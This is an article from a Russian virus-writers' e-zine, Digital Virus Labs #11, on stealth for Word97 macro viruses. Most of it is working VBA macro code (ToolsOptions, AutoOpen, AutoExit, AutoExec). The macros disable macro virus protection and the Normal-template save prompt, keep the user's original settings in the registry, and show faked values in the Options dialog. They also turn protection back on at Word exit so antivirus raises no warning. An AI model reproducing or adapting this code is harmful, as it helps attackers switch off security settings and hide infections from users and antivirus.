- [Digital Virus Labs #11] - [Page 33] - Стелс-технология для Word97 (c) by VOVAN/SMF =========================================================================== ПРИМЕЧАНИЕ РЕДАКТОРА: В статье использовались строки, выходящие за границы окна. Для устранения этой проблемы, длинные строки были разбиты. Признаком разбиения служит знак "<+>". Каждый раз. когда в тексте встретится данный знак, считайте, что он должен быть преобразован подобно тому, как в следующем примере: If System.Private<+> ProfileString("", <+> "example") преобразуется в If System.PrivateProfileString("", "example") то есть данный символ обозначает начало нижеследующей строки. =========================================================================== ┌──────────────────────────────┐ │ СТЕЛС технология для Word97 │ └──────────────────────────────┘ Существует много стелс механизмов, но не надо забывать и о таких простых вещах. Некоторые пользователи считают, что один из признаков проникновения макро вируса в Word это отключенная зашита от макро вирусов, в этом случае мне помогал макрос, приведенный ниже, перед открытием окна параметров Word он ставил параметры Options.VirusProtection = True - т.е. включает защиту Options.SaveNormalPrompt = True - т.е. запрос на сохранение шаблона Normal а после закрытия окна Options.VirusProtection = False - т.е. выключает защиту Options.SaveNormalPrompt = False - т.е. отключить запрос на сохранение шаблона А вот и он сам: ┌────────────────────────────────────────────┐ │Sub ToolsOptions() │ │On Error Resume Next │ │Options.VirusProtection = 1 │ │Options.SaveNormalPrompt = 1 │ │If Dialogs(wdDialogToolsOptions).Show Then │ │End If │ │Options.VirusProtection = 0 │ │Options.SaveNormalPrompt = 0 │ │End Sub │ └────────────────────────────────────────────┘ Было бы все хорошо, НО некоторые пользователи раскрыли эту уловку ставя, к примеру, параметр защиты от макро вирусов в положение "выключено", а при открытии окна видят, что защита от макро вирусов снова включена странно, правда. Вот я и решил написать уловку для очень умных юзеров Следующий пример покажет, как избежать раскрытия. Он создает как бы свою параллельную запись в реестре и имитирует настоящие параметры Word97 Вы, наверное, уже знаете, где в реестре прописаны настоящие параметры зашиты от макро вирусов, если не знаете, то они находятся здесь: "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection"="0" "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection"="0" Ну а теперь о самом СТЕЛС Механизме. Во-первых при заражении Word97 первым делом необходимо создать как бы свою параллельную запись в реестре, которая поможет имитировать настоящие параметры. Для этого необходимо добавить несколько строк в макрос,который срабатывает при заражении Word97 первым,как правило,это авто-макрос AutoOpen, AutoClose и т.д. ───┤ Пример ├─────────────────────────────────────────────────────────────── Sub AutoOpen() On Error Resume Next ┌──────────────────────────────────────────────────────────────────────  If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software<+> \Microsoft\Office\", Application.UserName) <> "" Then GoTo 1 Else If Options.VirusProtection = True Then System.PrivateProfileString<+> ("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.<+> UserName) = "Yes" Else System.PrivateProfileString("","HKEY_CURRENT_<+> USER\Software\Microsoft\Office\", Application.UserName) = "No" If Options.SaveNormalPrompt = True Then System.PrivateProfileString<+> ("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.<+> UserName & "!") = "Yes" Else System.PrivateProfileString("", "HKEY_<+> CURRENT_USER\Software\Microsoft\Office\", Application.User<+> Name & "!") = "No" 1:  └────────────────────────────────────────────────────────────────────── Внимание ! Данный участок кода нужно вставлять ДО команд Options.VirusProtection = False Options.SaveNormalPrompt = False это необходимо, для того чтобы запомнить параметры до заражения чтобы в дальнейшем их имитировать и показывать юзеру ну а дальше можно сколько угодно снимать и устанавливать Options.VirusProtection = 0 Options.SaveNormalPrompt = 0 .... .... <═════════ Код Виря .... Sub End ──────────────────────────────────────────────────────────────────────────── Теперь о самом главном, о макросе ToolsOptions. Макрос ToolsOptions будет проверять наличие своей записи в реестре если запись найдена тогда переходит на строку с меткой 1 если не найдена тогда макрос проверяет общие параметры Word97, если защита от макро вирусов включена то макрос добавляет в реестр соответствующую запись HKEY_CURRENT_USER\Software\Microsoft\Office\VirusProtection = "Yes" если же зашита от макро вирусов отключена, то добавляет HKEY_CURRENT_USER\Software\Microsoft\Office\VirusProtection = "No" таким же образом он проверяет параметр Options.SaveNormalPrompt HKEY_CURRENT_USER\Software\Microsoft\Office\SaveNormalPrompt = "Yes" или "No" в зависимости от установок пользователя в данный момент. ┌──────────┐ │ метка 1 │ └──────────┘ Макрос проверяет ранее установленный параметр в реестре HKEY_CURRENT_USER\Software\Microsoft\Office\VirusProtection и если в параметре стоит "Yes", соответственно устанавливает галочку защита от макро вирусов включена, если же "No", то соответственно убирает галочку таким же образом происходит с параметром Options.SaveNormalPrompt. После того, как все проверки сделаны, макрос показывает пользователю окно с уже установленными КАК НАДО параметрами. И как только пользователь закрывает окно, все возвращается на свои места т.е. Options.VirusProtection = False Options.SaveNormalPrompt = False ───┤ Пример ├─────────────────────────────────────────────────────────────── Sub ToolsOptions() 'by VOVAN//SMF On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software<+> \Microsoft\Office\", Application.UserName) And System.PrivateProfile<+> String("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.<+> UserName & "!") Then GoTo 1 If Options.VirusProtection = 1 Then System.PrivateProfileString("", <+> "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName) <+> = "Yes" Else System.PrivateProfileString("", "HKEY_CURRENT_USER\Software<+> \Microsoft\Office\", Application.UserName) = "No" If Options.SaveNormalPrompt = 1 Then System.PrivateProfileString("", <+> "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.User<+> Name & "!") = "Yes" Else System.PrivateProfileString("", "HKEY_CURRENT_<+> USER\Software\Microsoft\Office\", Application.UserName & "!") = "No" 1: If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft<+> \Office\", Application.UserName) = "Yes" Then Options.VirusProtection <+> = 1 Else Options.VirusProtection = 0 If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft<+> \Office\", Application.UserName & "!") = "Yes" Then Options.SaveNormal<+> Prompt = 1 Else Options.SaveNormalPrompt = 0 If Dialogs(wdDialogToolsOptions).Show >= 0 Then Exit Sub End If If Options.VirusProtection = True Then System.PrivateProfileString("", <+> "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.UserName) = <+> "Yes" Else System.PrivateProfileString("", "HKEY_CURRENT_USER\Software<+> \Microsoft\Office\", Application.UserName ) = "No" If Options.SaveNormalPrompt = True Then System.PrivateProfileString("", <+> "HKEY_CURRENT_USER\Software\Microsoft\Office\", Application.User<+> Name & "!") = "Yes" Else System.PrivateProfileString("", "HKEY_CURRENT_<+> USER\Software\Microsoft\Office\", Application.UserName & "!") = "No" Options.VirusProtection = 0 Options.SaveNormalPrompt = 0 End Sub ──────────────────────────────────────────────────────────────────────────── Но для сокрытия своего присутствия от AV в вирус можно добавить следующие макросы: ┌────────────────────────────┐ │Sub AutoExit() │ │Options.VirusProtection = 1 │ │End Sub │ └────────────────────────────┘ и ┌────────────────────────────┐ │Sub AutoExec() │ │Options.VirusProtection = 0 │ │End Sub │ └────────────────────────────┘ Макрос AutoExit срабатывает при закрытии Word и ставит параметр Options.VirusProtection = 1, т.е. включает защиту чтобы AV не выступала: "Внимание: Защита от макро вирусов выключена", ну а AutoExec при загрузке Word отключает ее, чтобы дать вирусу спокойно работать.